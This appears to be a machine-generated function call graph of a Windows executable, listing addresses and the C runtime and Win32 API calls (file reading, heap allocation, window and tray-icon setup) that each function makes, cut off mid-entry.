41b696 85302->85309 85303 41b8b4 __lseeki64 85303->85238 85304 41b831 GetStdHandle 85306 41b7fb 85304->85306 85305 41b896 SetHandleCount 85305->85303 85306->85303 85306->85304 85306->85305 85308 41b843 GetFileType 85306->85308 85405 4189e6 InitializeCriticalSectionAndSpinCount __lseeki64 85306->85405 85307 416ffb __calloc_crt 67 API calls 85307->85309 85308->85306 85309->85303 85309->85306 85309->85307 85313 41b77e 85309->85313 85311 41b7a7 GetFileType 85311->85313 85313->85303 85313->85306 85313->85311 85404 4189e6 InitializeCriticalSectionAndSpinCount __lseeki64 85313->85404 85315 422370 85314->85315 85316 422374 85314->85316 85315->85243 85317 416fb6 __malloc_crt 67 API calls 85316->85317 85318 422395 _memcpy_s 85317->85318 85319 42239c FreeEnvironmentStringsW 85318->85319 85319->85243 85322 4222e6 _wparse_cmdline 85320->85322 85321 422329 _wparse_cmdline 85321->85245 85322->85321 85323 416fb6 __malloc_crt 67 API calls 85322->85323 85323->85321 85325 42209a _wcslen 85324->85325 85329 416267 85324->85329 85326 416ffb __calloc_crt 67 API calls 85325->85326 85334 4220be _wcslen 85326->85334 85327 422123 85328 413a88 __freefls@4 67 API calls 85327->85328 85328->85329 85329->85250 85370 4117af 67 API calls 3 library calls 85329->85370 85330 416ffb __calloc_crt 67 API calls 85330->85334 85331 422149 85333 413a88 __freefls@4 67 API calls 85331->85333 85333->85329 85334->85327 85334->85329 85334->85330 85334->85331 85335 422108 85334->85335 85406 426349 67 API calls __lseeki64 85334->85406 85335->85334 85407 417d93 10 API calls 3 library calls 85335->85407 85338 41187c __IsNonwritableInCurrentImage 85337->85338 85408 418486 85338->85408 85340 41189a __initterm_e 85341 411421 __cinit 74 API calls 85340->85341 85342 4118b9 __IsNonwritableInCurrentImage __initterm 85340->85342 85341->85342 85342->85253 85344 431bcb 85343->85344 85345 40d80c 85343->85345 85346 4092c0 VariantClear 85345->85346 85347 40d847 85346->85347 85412 40eb50 85347->85412 85350 40d877 85415 411ac6 67 API calls 4 library calls 85350->85415 85353 40d888 85416 411b24 67 API calls __lseeki64 85353->85416 85355 40d891 85417 40f370 SystemParametersInfoW SystemParametersInfoW 85355->85417 85357 40d89f 85418 40d6d0 GetCurrentDirectoryW 85357->85418 85359 40d8a7 SystemParametersInfoW 85360 40d8d4 85359->85360 85361 40d8cd FreeLibrary 85359->85361 85362 4092c0 VariantClear 85360->85362 85361->85360 85363 40d8dd 85362->85363 85364 4092c0 VariantClear 85363->85364 85365 40d8e6 85364->85365 85365->85258 85372 411a1f 67 API calls _doexit 85365->85372 85366->85231 85367->85235 85368->85242 85369->85246 85370->85250 85371->85255 85372->85258 85373->85261 85374->85271 85375->85279 85376->85289 85378 417004 85377->85378 85380 416f70 85378->85380 85381 417022 Sleep 85378->85381 85385 422452 85378->85385 85380->85269 85380->85294 85382 417037 85381->85382 85382->85378 85382->85380 85383->85298 85384->85275 85386 42245e __lseeki64 85385->85386 85387 422476 85386->85387 85397 422495 _memset 85386->85397 85398 417f23 67 API calls __getptd_noexit 85387->85398 85389 42247b 85399 417ebb 6 API calls 2 library calls 85389->85399 85390 422507 HeapAlloc 85390->85397 85393 418407 __lock 66 API calls 85393->85397 85394 42248b __lseeki64 85394->85378 85397->85390 85397->85393 85397->85394 85400 41a74c 5 API calls 2 library calls 85397->85400 85401 42254e LeaveCriticalSection _doexit 85397->85401 85402 411afc 6 API calls __decode_pointer 85397->85402 85398->85389 85400->85397 85401->85397 85402->85397 85403->85301 85404->85313 85405->85306 85406->85334 85407->85335 85409 41848c 85408->85409 85410 41696e __encode_pointer 6 API calls 85409->85410 85411 4184a4 85409->85411 85410->85409 85411->85340 85456 40eb70 85412->85456 85415->85353 85416->85355 85417->85357 85460 401f80 85418->85460 85420 40d6f1 IsDebuggerPresent 85421 431a9d MessageBoxA 85420->85421 85422 40d6ff 85420->85422 85423 431ab6 85421->85423 85422->85423 85424 40d71f 85422->85424 85562 403e90 75 API calls 3 library calls 85423->85562 85530 40f3b0 85424->85530 85428 40d73a GetFullPathNameW 85560 401440 127 API calls _wcscat 85428->85560 85430 40d77a 85431 40d782 85430->85431 85433 431b09 SetCurrentDirectoryW 85430->85433 85432 40d78b 85431->85432 85563 43604b 6 API calls 85431->85563 85542 4101f0 GetSysColorBrush LoadCursorW LoadIconW LoadIconW LoadIconW 85432->85542 85433->85431 85436 431b28 85436->85432 85438 431b30 GetModuleFileNameW 85436->85438 85440 431ba4 GetForegroundWindow ShellExecuteW 85438->85440 85441 431b4c 85438->85441 85444 40d7c7 85440->85444 85564 401b70 85441->85564 85442 40d795 85450 40d7a8 85442->85450 85550 40e1e0 85442->85550 85448 40d7d1 SetCurrentDirectoryW 85444->85448 85448->85359 85449 431b66 85571 40d3b0 75 API calls 2 library calls 85449->85571 85450->85444 85561 401000 Shell_NotifyIconW _memset 85450->85561 85453 431b72 GetForegroundWindow ShellExecuteW 85454 431b9f 85453->85454 85454->85444 85455 40eba0 LoadLibraryA GetProcAddress 85455->85350 85457 40d86e 85456->85457 85458 40eb76 LoadLibraryA 85456->85458 85457->85350 85457->85455 85458->85457 85459 40eb87 GetProcAddress 85458->85459 85459->85457 85572 40e680 85460->85572 85464 401fa2 GetModuleFileNameW 85590 40ff90 85464->85590 85466 401fbd 85602 4107b0 85466->85602 85469 401b70 75 API calls 85470 401fe4 85469->85470 85605 4019e0 85470->85605 85472 401ff2 85473 4092c0 VariantClear 85472->85473 85474 402002 85473->85474 85475 401b70 75 API calls 85474->85475 85476 40201c 85475->85476 85477 4019e0 76 API calls 85476->85477 85478 40202c 85477->85478 85479 401b70 75 API calls 85478->85479 85480 40203c 85479->85480 85613 40c3e0 85480->85613 85482 40204d 85483 40c060 75 API calls 85482->85483 85484 402061 85483->85484 85631 401a70 85484->85631 85486 40206e 85638 4115d0 85486->85638 85489 42c174 85491 401a70 75 API calls 85489->85491 85490 402088 85492 4115d0 __wcsicoll 79 API calls 85490->85492 85493 42c189 85491->85493 85494 402093 85492->85494 85496 401a70 75 API calls 85493->85496 85494->85493 85495 40209e 85494->85495 85497 4115d0 __wcsicoll 79 API calls 85495->85497 85498 42c1a7 85496->85498 85499 4020a9 85497->85499 85500 42c1b0 GetModuleFileNameW 85498->85500 85499->85500 85501 4020b4 85499->85501 85502 401a70 75 API calls 85500->85502 85503 4115d0 __wcsicoll 79 API calls 85501->85503 85505 42c1e2 85502->85505 85504 4020bf 85503->85504 85506 402107 85504->85506 85510 401a70 75 API calls 85504->85510 85515 42c20a _wcscpy 85504->85515 85650 40df50 75 API calls 85505->85650 85509 402119 85506->85509 85506->85515 85508 42c1f1 85511 401a70 75 API calls 85508->85511 85512 42c243 85509->85512 85646 40e7e0 76 API calls 85509->85646 85513 4020e5 _wcscpy 85510->85513 85514 42c201 85511->85514 85520 401a70 75 API calls 85513->85520 85514->85515 85517 401a70 75 API calls 85515->85517 85525 402148 85517->85525 85518 402132 85647 40d030 76 API calls 85518->85647 85520->85506 85521 40213e 85522 4092c0 VariantClear 85521->85522 85522->85525 85523 402184 85527 4092c0 VariantClear 85523->85527 85525->85523 85528 401a70 75 API calls 85525->85528 85648 40d030 76 API calls 85525->85648 85649 40e640 76 API calls 85525->85649 85529 402196 moneypunct 85527->85529 85528->85525 85529->85420 85531 42ccf4 _memset 85530->85531 85532 40f3c9 85530->85532 85535 42cd05 GetOpenFileNameW 85531->85535 86338 40ffb0 76 API calls moneypunct 85532->86338 85534 40f3d2 86339 410130 SHGetMalloc 85534->86339 85535->85532 85538 40d732 85535->85538 85537 40f3d9 86344 410020 88 API calls __wcsicoll 85537->86344 85538->85428 85538->85430 85540 40f3e7 86345 40f400 85540->86345 85543 42b9d3 85542->85543 85544 41025a LoadImageW RegisterClassExW 85542->85544 86390 443e8f EnumResourceNamesW LoadImageW 85543->86390 86389 4102f0 7 API calls 85544->86389 85547 40d790 85549 4103e0 CreateWindowExW CreateWindowExW ShowWindow ShowWindow 85547->85549 85548 42b9da 85549->85442 85552 40e207 _memset 85550->85552 85551 40e262 85557 40e2a4 85551->85557 86413 43737d 84 API calls __wcsicoll 85551->86413 85552->85551 85553 42aa14 DestroyIcon 85552->85553 85553->85551 85555 40e2c0 Shell_NotifyIconW 86391 401be0 85555->86391 85556 42aa50 Shell_NotifyIconW 85557->85555 85557->85556 85559 40e2da 85559->85450 85560->85430 85561->85444 85562->85430 85563->85436 85565 401b76 _wcslen 85564->85565 85566 41171a 75 API calls 85565->85566 85569 401bc5 85565->85569 85567 401bad _memcpy_s 85566->85567 85568 41171a 75 API calls 85567->85568 85568->85569 85570 40d3b0 75 API calls 2 library calls 85569->85570 85570->85449 85571->85453 85573 40c060 75 API calls 85572->85573 85574 401f90 85573->85574 85575 402940 85574->85575 85576 40294a __write_nolock 85575->85576 85651 4021e0 85576->85651 85579 402972 85581 4029a4 85579->85581 85663 401cf0 85579->85663 85580 402ae0 75 API calls 85580->85581 85581->85580 85583 402a8c 85581->85583 85585 401b70 75 API calls 85581->85585 85588 401cf0 75 API calls 85581->85588 85666 40d970 75 API calls 2 library calls 85581->85666 85582 402abe 85582->85464 85583->85582 85584 401b70 75 API calls 85583->85584 85586 402ab3 85584->85586 85585->85581 85667 40d970 75 API calls 2 library calls 85586->85667 85588->85581 85674 40f5e0 85590->85674 85593 40ffa6 85593->85466 85595 42b6d8 85599 42b6e6 85595->85599 85730 434fe1 85595->85730 85596 413a88 __freefls@4 67 API calls 85598 42b6f5 85596->85598 85600 434fe1 106 API calls 85598->85600 85599->85596 85601 42b702 85600->85601 85601->85466 85603 41171a 75 API calls 85602->85603 85604 401fd6 85603->85604 85604->85469 85606 401a03 85605->85606 85611 4019e5 85605->85611 85607 401a1a 85606->85607 85606->85611 86327 404260 76 API calls 85607->86327 85609 4019ff 85609->85472 85610 401a26 85610->85472 85611->85609 86326 404260 76 API calls 85611->86326 85614 40c3e4 85613->85614 85615 40c42c 85613->85615 85616 40c3f0 85614->85616 85617 42a475 85614->85617 85618 42a422 85615->85618 85619 40c435 85615->85619 86328 4042f0 75 API calls __cinit 85616->86328 86333 453155 75 API calls 85617->86333 85621 42a427 85618->85621 85622 42a445 85618->85622 85623 40c441 85619->85623 85628 42a455 85619->85628 85629 40c3fb 85621->85629 86330 453155 75 API calls 85621->86330 86331 453155 75 API calls 85622->86331 86329 4042f0 75 API calls __cinit 85623->86329 86332 453155 75 API calls 85628->86332 85629->85482 85632 401a90 85631->85632 85633 401a77 85631->85633 85634 4021e0 75 API calls 85632->85634 85635 401a8d 85633->85635 86334 404080 75 API calls _memcpy_s 85633->86334 85636 401a9c 85634->85636 85635->85486 85636->85486 85639 4115e1 85638->85639 85640 411650 85638->85640 85645 40207d 85639->85645 86335 417f23 67 API calls __getptd_noexit 85639->86335 86337 4114bf 79 API calls 3 library calls 85640->86337 85643 4115ed 86336 417ebb 6 API calls 2 library calls 85643->86336 85645->85489 85645->85490 85646->85518 85647->85521 85648->85525 85649->85525 85650->85508 85652 4021f1 _wcslen 85651->85652 85653 42a598 85651->85653 85656 402205 85652->85656 85657 402226 85652->85657 85654 40c740 75 API calls 85653->85654 85655 42a5a2 85654->85655 85668 404020 85656->85668 85659 401380 75 API calls 85657->85659 85661 40222d 85659->85661 85660 40220c _memcpy_s 85660->85579 85661->85655 85662 41171a 75 API calls 85661->85662 85662->85660 85664 402ae0 75 API calls 85663->85664 85665 401cf7 85664->85665 85665->85579 85666->85581 85667->85582 85669 404028 85668->85669 85671 404029 moneypunct 85668->85671 85669->85660 85670 42a0b0 85671->85670 85672 41171a 75 API calls 85671->85672 85673 404068 85672->85673 85673->85660 85675 40f580 77 API calls 85674->85675 85676 40f5f8 _strcat moneypunct 85675->85676 85734 40f6d0 85676->85734 85681 42b2ee 85763 4151b0 85681->85763 85683 40f679 85683->85681 85684 40f681 85683->85684 85750 414e94 85684->85750 85688 40f68b 85688->85593 85693 452574 85688->85693 85690 42b31d 85769 415484 85690->85769 85692 42b33d 85694 41557c _fseek 105 API calls 85693->85694 85695 4525df 85694->85695 86271 4523ce 85695->86271 85698 4525fc 85698->85595 85699 4151b0 __fread_nolock 81 API calls 85700 45261d 85699->85700 85701 4151b0 __fread_nolock 81 API calls 85700->85701 85702 45262e 85701->85702 85703 4151b0 __fread_nolock 81 API calls 85702->85703 85704 452649 85703->85704 85705 4151b0 __fread_nolock 81 API calls 85704->85705 85706 452666 85705->85706 85707 41557c _fseek 105 API calls 85706->85707 85708 452682 85707->85708 85709 4138ba _malloc 67 API calls 85708->85709 85710 45268e 85709->85710 85711 4138ba _malloc 67 API calls 85710->85711 85712 45269b 85711->85712 85713 4151b0 __fread_nolock 81 API calls 85712->85713 85714 4526ac 85713->85714 85715 44afdc GetSystemTimeAsFileTime 85714->85715 85716 4526bf 85715->85716 85717 4526d5 85716->85717 85718 4526fd 85716->85718 85721 413a88 __freefls@4 67 API calls 85717->85721 85719 452704 85718->85719 85720 45275b 85718->85720 86277 44b195 85719->86277 85723 413a88 __freefls@4 67 API calls 85720->85723 85724 4526df 85721->85724 85729 452759 85723->85729 85726 413a88 __freefls@4 67 API calls 85724->85726 85725 452753 85727 413a88 __freefls@4 67 API calls 85725->85727 85728 4526e8 85726->85728 85727->85729 85728->85595 85729->85595 85731 434ff1 85730->85731 85732 434feb 85730->85732 85731->85599 85733 414e94 __fcloseall 106 API calls 85732->85733 85733->85731 85735 40f6dd _strlen 85734->85735 85782 40f790 85735->85782 85738 414e06 85802 414d40 85738->85802 85740 40f666 85740->85681 85741 40f450 85740->85741 85745 40f45a _strcat _memcpy_s __write_nolock 85741->85745 85742 4151b0 __fread_nolock 81 API calls 85742->85745 85743 40f531 85743->85683 85745->85742 85745->85743 85749 42936d 85745->85749 85885 41557c 85745->85885 85746 41557c _fseek 105 API calls 85747 429394 85746->85747 85748 4151b0 __fread_nolock 81 API calls 85747->85748 85748->85743 85749->85746 85751 414ea0 __lseeki64 85750->85751 85752 414ed1 85751->85752 85753 414eb4 85751->85753 85756 415965 __lock_file 68 API calls 85752->85756 85760 414ec9 __lseeki64 85752->85760 86024 417f23 67 API calls __getptd_noexit 85753->86024 85755 414eb9 86025 417ebb 6 API calls 2 library calls 85755->86025 85758 414ee9 85756->85758 86008 414e1d 85758->86008 85760->85688 86093 41511a 85763->86093 85765 4151c8 85766 44afdc 85765->85766 86264 4431e0 85766->86264 85768 44affd 85768->85690 85770 415490 __lseeki64 85769->85770 85771 4154bb 85770->85771 85772 41549e 85770->85772 85773 415965 __lock_file 68 API calls 85771->85773 86268 417f23 67 API calls __getptd_noexit 85772->86268 85775 4154c3 85773->85775 85778 4152e7 __ftell_nolock 71 API calls 85775->85778 85776 4154a3 86269 417ebb 6 API calls 2 library calls 85776->86269 85779 4154cf 85778->85779 86270 4154e8 LeaveCriticalSection LeaveCriticalSection _ftell 85779->86270 85781 4154b3 __lseeki64 85781->85692 85784 40f7ae _memset 85782->85784 85783 42a349 85784->85783 85786 40f628 85784->85786 85787 415258 85784->85787 85786->85738 85788 415285 85787->85788 85789 415268 85787->85789 85788->85789 85790 41528c 85788->85790 85798 417f23 67 API calls __getptd_noexit 85789->85798 85800 41c551 103 API calls 14 library calls 85790->85800 85793 41526d 85799 417ebb 6 API calls 2 library calls 85793->85799 85795 4152b2 85796 41527d 85795->85796 85801 4191c9 101 API calls 5 library calls 85795->85801 85796->85784 85798->85793 85800->85795 85801->85796 85805 414d4c __lseeki64 85802->85805 85803 414d5f 85854 417f23 67 API calls __getptd_noexit 85803->85854 85805->85803 85807 414d95 85805->85807 85806 414d64 85855 417ebb 6 API calls 2 library calls 85806->85855 85821 41e28c 85807->85821 85810 414d9a 85811 414da1 85810->85811 85812 414dae 85810->85812 85856 417f23 67 API calls __getptd_noexit 85811->85856 85813 414dd6 85812->85813 85814 414db6 85812->85814 85839 41dfd8 85813->85839 85857 417f23 67 API calls __getptd_noexit 85814->85857 85818 414d74 __lseeki64 @_EH4_CallFilterFunc@8 85818->85740 85822 41e298 __lseeki64 85821->85822 85823 418407 __lock 67 API calls 85822->85823 85836 41e2a6 85823->85836 85824 41e31b 85859 41e3bb 85824->85859 85825 41e322 85827 416fb6 __malloc_crt 67 API calls 85825->85827 85829 41e32c 85827->85829 85828 41e3b0 __lseeki64 85828->85810 85829->85824 85864 4189e6 InitializeCriticalSectionAndSpinCount __lseeki64 85829->85864 85830 418344 __mtinitlocknum 67 API calls 85830->85836 85833 41e351 85834 41e35c 85833->85834 85835 41e36f EnterCriticalSection 85833->85835 85837 413a88 __freefls@4 67 API calls 85834->85837 85835->85824 85836->85824 85836->85825 85836->85830 85862 4159a6 68 API calls __lock 85836->85862 85863 415a14 LeaveCriticalSection LeaveCriticalSection _doexit 85836->85863 85837->85824 85847 41dffb __wopenfile 85839->85847 85840 41e015 85869 417f23 67 API calls __getptd_noexit 85840->85869 85841 41e1e9 85841->85840 85845 41e247 85841->85845 85843 41e01a 85870 417ebb 6 API calls 2 library calls 85843->85870 85866 425db0 85845->85866 85847->85840 85847->85841 85871 4136bc 79 API calls 2 library calls 85847->85871 85850 41e1e2 85850->85841 85872 4136bc 79 API calls 2 library calls 85850->85872 85852 41e201 85852->85841 85873 4136bc 79 API calls 2 library calls 85852->85873 85854->85806 85856->85818 85857->85818 85858 414dfc LeaveCriticalSection LeaveCriticalSection _ftell 85858->85818 85865 41832d LeaveCriticalSection 85859->85865 85861 41e3c2 85861->85828 85862->85836 85863->85836 85864->85833 85865->85861 85874 425ce4 85866->85874 85868 414de1 85868->85858 85869->85843 85871->85850 85872->85852 85873->85841 85875 425cf0 __lseeki64 85874->85875 85876 425d03 85875->85876 85879 425d41 85875->85879 85877 417f23 __lseeki64 67 API calls 85876->85877 85878 425d08 85877->85878 85880 417ebb __lseeki64 6 API calls 85878->85880 85881 4255c4 __tsopen_nolock 132 API calls 85879->85881 85884 425d17 __lseeki64 85880->85884 85882 425d5b 85881->85882 85883 425d82 __sopen_helper LeaveCriticalSection 85882->85883 85883->85884 85884->85868 85886 415588 __lseeki64 85885->85886 85887 415596 85886->85887 85889 4155c4 85886->85889 85916 417f23 67 API calls __getptd_noexit 85887->85916 85898 415965 85889->85898 85891 41559b 85917 417ebb 6 API calls 2 library calls 85891->85917 85897 4155ab __lseeki64 85897->85745 85899 415977 85898->85899 85900 415999 EnterCriticalSection 85898->85900 85899->85900 85901 41597f 85899->85901 85902 4155cc 85900->85902 85903 418407 __lock 67 API calls 85901->85903 85904 4154f2 85902->85904 85903->85902 85905 415512 85904->85905 85906 415502 85904->85906 85908 415524 85905->85908 85919 4152e7 85905->85919 85973 417f23 67 API calls __getptd_noexit 85906->85973 85936 41486c 85908->85936 85909 415507 85918 4155f7 LeaveCriticalSection LeaveCriticalSection _ftell 85909->85918 85916->85891 85918->85897 85920 41531a 85919->85920 85921 4152fa 85919->85921 85922 41453a __fileno 67 API calls 85920->85922 85974 417f23 67 API calls __getptd_noexit 85921->85974 85924 415320 85922->85924 85927 41efd4 __locking 71 API calls 85924->85927 85925 4152ff 85975 417ebb 6 API calls 2 library calls 85925->85975 85928 415335 85927->85928 85929 4153a9 85928->85929 85931 415364 85928->85931 85935 41530f 85928->85935 85976 417f23 67 API calls __getptd_noexit 85929->85976 85932 41efd4 __locking 71 API calls 85931->85932 85931->85935 85933 415404 85932->85933 85934 41efd4 __locking 71 API calls 85933->85934 85933->85935 85934->85935 85935->85908 85937 4148a7 85936->85937 85938 414885 85936->85938 85942 41453a 85937->85942 85938->85937 85939 41453a __fileno 67 API calls 85938->85939 85940 4148a0 85939->85940 85977 41c3cf 101 API calls 4 library calls 85940->85977 85943 414549 85942->85943 85945 41455e 85942->85945 85978 417f23 67 API calls __getptd_noexit 85943->85978 85948 41efd4 85945->85948 85946 41454e 85979 417ebb 6 API calls 2 library calls 85946->85979 85949 41efe0 __lseeki64 85948->85949 85950 41f003 85949->85950 85951 41efe8 85949->85951 85953 41f011 85950->85953 85956 41f052 85950->85956 86000 417f36 67 API calls __getptd_noexit 85951->86000 86002 417f36 67 API calls __getptd_noexit 85953->86002 85954 41efed 86001 417f23 67 API calls __getptd_noexit 85954->86001 85980 41ba3b 85956->85980 85958 41f016 86003 417f23 67 API calls __getptd_noexit 85958->86003 85961 41f01d 86004 417ebb 6 API calls 2 library calls 85961->86004 85962 41f058 85964 41f065 85962->85964 85965 41f07b 85962->85965 85990 41ef5f 85964->85990 86005 417f23 67 API calls __getptd_noexit 85965->86005 85966 41eff5 __lseeki64 85966->85909 85969 41f073 86007 41f0a6 LeaveCriticalSection __unlock_fhandle 85969->86007 85970 41f080 86006 417f36 67 API calls __getptd_noexit 85970->86006 85973->85909 85974->85925 85976->85935 85977->85937 85978->85946 85981 41ba47 __lseeki64 85980->85981 85982 41baa2 85981->85982 85985 418407 __lock 67 API calls 85981->85985 85983 41bac4 __lseeki64 85982->85983 85984 41baa7 EnterCriticalSection 85982->85984 85983->85962 85984->85983 85986 41ba73 85985->85986 85987 41ba8a 85986->85987 85988 4189e6 __ioinit InitializeCriticalSectionAndSpinCount 85986->85988 85989 41bad2 ___lock_fhandle LeaveCriticalSection 85987->85989 85988->85987 85989->85982 85991 41b9c4 __lseek_nolock 67 API calls 85990->85991 85992 41ef6e 85991->85992 85993 41ef84 SetFilePointer 85992->85993 85994 41ef74 85992->85994 85996 41ef9b GetLastError 85993->85996 85997 41efa3 85993->85997 85995 417f23 __lseeki64 67 API calls 85994->85995 85998 41ef79 85995->85998 85996->85997 85997->85998 85999 417f49 __dosmaperr 67 API calls 85997->85999 85998->85969 85999->85998 86000->85954 86001->85966 86002->85958 86003->85961 86005->85970 86006->85969 86007->85966 86009 414e31 86008->86009 86010 414e4d 86008->86010 86054 417f23 67 API calls __getptd_noexit 86009->86054 86012 414e46 86010->86012 86014 41486c __flush 101 API calls 86010->86014 86026 414f08 LeaveCriticalSection LeaveCriticalSection _ftell 86012->86026 86013 414e36 86055 417ebb 6 API calls 2 library calls 86013->86055 86016 414e59 86014->86016 86027 41e680 86016->86027 86019 41453a __fileno 67 API calls 86020 414e67 86019->86020 86031 41e5b3 86020->86031 86022 414e6d 86022->86012 86023 413a88 __freefls@4 67 API calls 86022->86023 86023->86012 86024->85755 86026->85760 86028 414e61 86027->86028 86029 41e690 86027->86029 86028->86019 86029->86028 86030 413a88 __freefls@4 67 API calls 86029->86030 86030->86028 86032 41e5bf __lseeki64 86031->86032 86033 41e5e2 86032->86033 86034 41e5c7 86032->86034 86036 41e5f0 86033->86036 86039 41e631 86033->86039 86071 417f36 67 API calls __getptd_noexit 86034->86071 86073 417f36 67 API calls __getptd_noexit 86036->86073 86037 41e5cc 86072 417f23 67 API calls __getptd_noexit 86037->86072 86042 41ba3b ___lock_fhandle 68 API calls 86039->86042 86041 41e5f5 86074 417f23 67 API calls __getptd_noexit 86041->86074 86045 41e637 86042->86045 86044 41e5fc 86075 417ebb 6 API calls 2 library calls 86044->86075 86047 41e652 86045->86047 86048 41e644 86045->86048 86076 417f23 67 API calls __getptd_noexit 86047->86076 86056 41e517 86048->86056 86049 41e5d4 __lseeki64 86049->86022 86052 41e64c 86077 41e676 LeaveCriticalSection __unlock_fhandle 86052->86077 86054->86013 86078 41b9c4 86056->86078 86058 41e57d 86091 41b93e 68 API calls __lseeki64 86058->86091 86060 41e527 86060->86058 86061 41e55b 86060->86061 86063 41b9c4 __lseek_nolock 67 API calls 86060->86063 86061->86058 86064 41b9c4 __lseek_nolock 67 API calls 86061->86064 86062 41e585 86065 41e5a7 86062->86065 86092 417f49 67 API calls 2 library calls 86062->86092 86066 41e552 86063->86066 86067 41e567 CloseHandle 86064->86067 86065->86052 86069 41b9c4 __lseek_nolock 67 API calls 86066->86069 86067->86058 86070 41e573 GetLastError 86067->86070 86069->86061 86070->86058 86071->86037 86072->86049 86073->86041 86074->86044 86076->86052 86077->86049 86079 41b9d1 86078->86079 86080 41b9e9 86078->86080 86081 417f36 __lseeki64 67 API calls 86079->86081 86082 417f36 __lseeki64 67 API calls 86080->86082 86085 41ba2e 86080->86085 86083 41b9d6 86081->86083 86086 41ba17 86082->86086 86084 417f23 __lseeki64 67 API calls 86083->86084 86087 41b9de 86084->86087 86085->86060 86088 417f23 __lseeki64 67 API calls 86086->86088 86087->86060 86089 41ba1e 86088->86089 86090 417ebb __lseeki64 6 API calls 86089->86090 86090->86085 86091->86062 86092->86065 86094 415126 __lseeki64 86093->86094 86095 41513a _memset 86094->86095 86096 41516f 86094->86096 86098 415164 __lseeki64 86094->86098 86122 417f23 67 API calls __getptd_noexit 86095->86122 86097 415965 __lock_file 68 API calls 86096->86097 86099 415177 86097->86099 86098->85765 86106 414f10 86099->86106 86102 415154 86123 417ebb 6 API calls 2 library calls 86102->86123 86107 414f4c 86106->86107 86110 414f2e _memset 86106->86110 86124 4151a6 LeaveCriticalSection LeaveCriticalSection _ftell 86107->86124 86108 414f37 86175 417f23 67 API calls __getptd_noexit 86108->86175 86110->86107 86110->86108 86112 414f8b 86110->86112 86112->86107 86114 4150a9 _memset 86112->86114 86115 4150d5 _memset 86112->86115 86117 41453a __fileno 67 API calls 86112->86117 86125 41ed9e 86112->86125 86155 41e6b1 86112->86155 86177 41ee9b 67 API calls 3 library calls 86112->86177 86178 417f23 67 API calls __getptd_noexit 86114->86178 86179 417f23 67 API calls __getptd_noexit 86115->86179 86117->86112 86121 414f3c 86176 417ebb 6 API calls 2 library calls 86121->86176 86122->86102 86124->86098 86126 41edaa __lseeki64 86125->86126 86127 41edb2 86126->86127 86128 41edcd 86126->86128 86249 417f36 67 API calls __getptd_noexit 86127->86249 86130 41eddb 86128->86130 86134 41ee1c 86128->86134 86251 417f36 67 API calls __getptd_noexit 86130->86251 86132 41edb7 86250 417f23 67 API calls __getptd_noexit 86132->86250 86133 41ede0 86252 417f23 67 API calls __getptd_noexit 86133->86252 86137 41ee29 86134->86137 86138 41ee3d 86134->86138 86254 417f36 67 API calls __getptd_noexit 86137->86254 86139 41ba3b ___lock_fhandle 68 API calls 86138->86139 86142 41ee43 86139->86142 86140 41ede7 86253 417ebb 6 API calls 2 library calls 86140->86253 86144 41ee50 86142->86144 86145 41ee66 86142->86145 86143 41ee2e 86255 417f23 67 API calls __getptd_noexit 86143->86255 86180 41e7dc 86144->86180 86256 417f23 67 API calls __getptd_noexit 86145->86256 86148 41edbf __lseeki64 86148->86112 86151 41ee5e 86258 41ee91 LeaveCriticalSection __unlock_fhandle 86151->86258 86152 41ee6b 86257 417f36 67 API calls __getptd_noexit 86152->86257 86156 41e6c1 86155->86156 86159 41e6de 86155->86159 86262 417f23 67 API calls __getptd_noexit 86156->86262 86158 41e6c6 86263 417ebb 6 API calls 2 library calls 86158->86263 86160 41e6d6 86159->86160 86162 41e713 86159->86162 86259 423600 86159->86259 86160->86112 86164 41453a __fileno 67 API calls 86162->86164 86165 41e727 86164->86165 86166 41ed9e __read 79 API calls 86165->86166 86167 41e72e 86166->86167 86167->86160 86168 41453a __fileno 67 API calls 86167->86168 86169 41e751 86168->86169 86169->86160 86170 41453a __fileno 67 API calls 86169->86170 86171 41e75d 86170->86171 86171->86160 86172 41453a __fileno 67 API calls 86171->86172 86173 41e769 86172->86173 86174 41453a __fileno 67 API calls 86173->86174 86174->86160 86175->86121 86177->86112 86178->86121 86179->86121 86181 41e813 86180->86181 86182 41e7f8 86180->86182 86183 41e822 86181->86183 86185 41e849 86181->86185 86184 417f36 __lseeki64 67 API calls 86182->86184 86186 417f36 __lseeki64 67 API calls 86183->86186 86187 41e7fd 86184->86187 86189 41e868 86185->86189 86200 41e87c 86185->86200 86188 41e827 86186->86188 86190 417f23 __lseeki64 67 API calls 86187->86190 86192 417f23 __lseeki64 67 API calls 86188->86192 86193 417f36 __lseeki64 67 API calls 86189->86193 86201 41e805 86190->86201 86191 41e8d4 86195 417f36 __lseeki64 67 API calls 86191->86195 86194 41e82e 86192->86194 86196 41e86d 86193->86196 86197 417ebb __lseeki64 6 API calls 86194->86197 86198 41e8d9 86195->86198 86199 417f23 __lseeki64 67 API calls 86196->86199 86197->86201 86202 417f23 __lseeki64 67 API calls 86198->86202 86203 41e874 86199->86203 86200->86191 86200->86201 86204 41e8b0 86200->86204 86206 41e8f5 86200->86206 86201->86151 86202->86203 86205 417ebb __lseeki64 6 API calls 86203->86205 86204->86191 86209 41e8bb ReadFile 86204->86209 86205->86201 86208 416fb6 __malloc_crt 67 API calls 86206->86208 86210 41e90b 86208->86210 86211 41ed62 GetLastError 86209->86211 86212 41e9e7 86209->86212 86215 41e931 86210->86215 86216 41e913 86210->86216 86213 41ebe8 86211->86213 86214 41ed6f 86211->86214 86212->86211 86219 41e9fb 86212->86219 86223 417f49 __dosmaperr 67 API calls 86213->86223 86230 41eb6d 86213->86230 86217 417f23 __lseeki64 67 API calls 86214->86217 86220 423462 __lseeki64_nolock 69 API calls 86215->86220 86218 417f23 __lseeki64 67 API calls 86216->86218 86221 41ed74 86217->86221 86222 41e918 86218->86222 86228 41ec2d 86219->86228 86229 41ea17 86219->86229 86219->86230 86224 41e93d 86220->86224 86225 417f36 __lseeki64 67 API calls 86221->86225 86226 417f36 __lseeki64 67 API calls 86222->86226 86223->86230 86224->86209 86225->86230 86226->86201 86227 413a88 __freefls@4 67 API calls 86227->86201 86228->86230 86232 41eca5 ReadFile 86228->86232 86231 41ea7d ReadFile 86229->86231 86239 41eafa 86229->86239 86230->86201 86230->86227 86235 41ea9b GetLastError 86231->86235 86238 41eaa5 86231->86238 86233 41ecc4 GetLastError 86232->86233 86240 41ecce 86232->86240 86233->86228 86233->86240 86234 41ebbe MultiByteToWideChar 86234->86230 86236 41ebe2 GetLastError 86234->86236 86235->86229 86235->86238 86236->86213 86237 41eb68 86241 417f23 __lseeki64 67 API calls 86237->86241 86238->86229 86243 423462 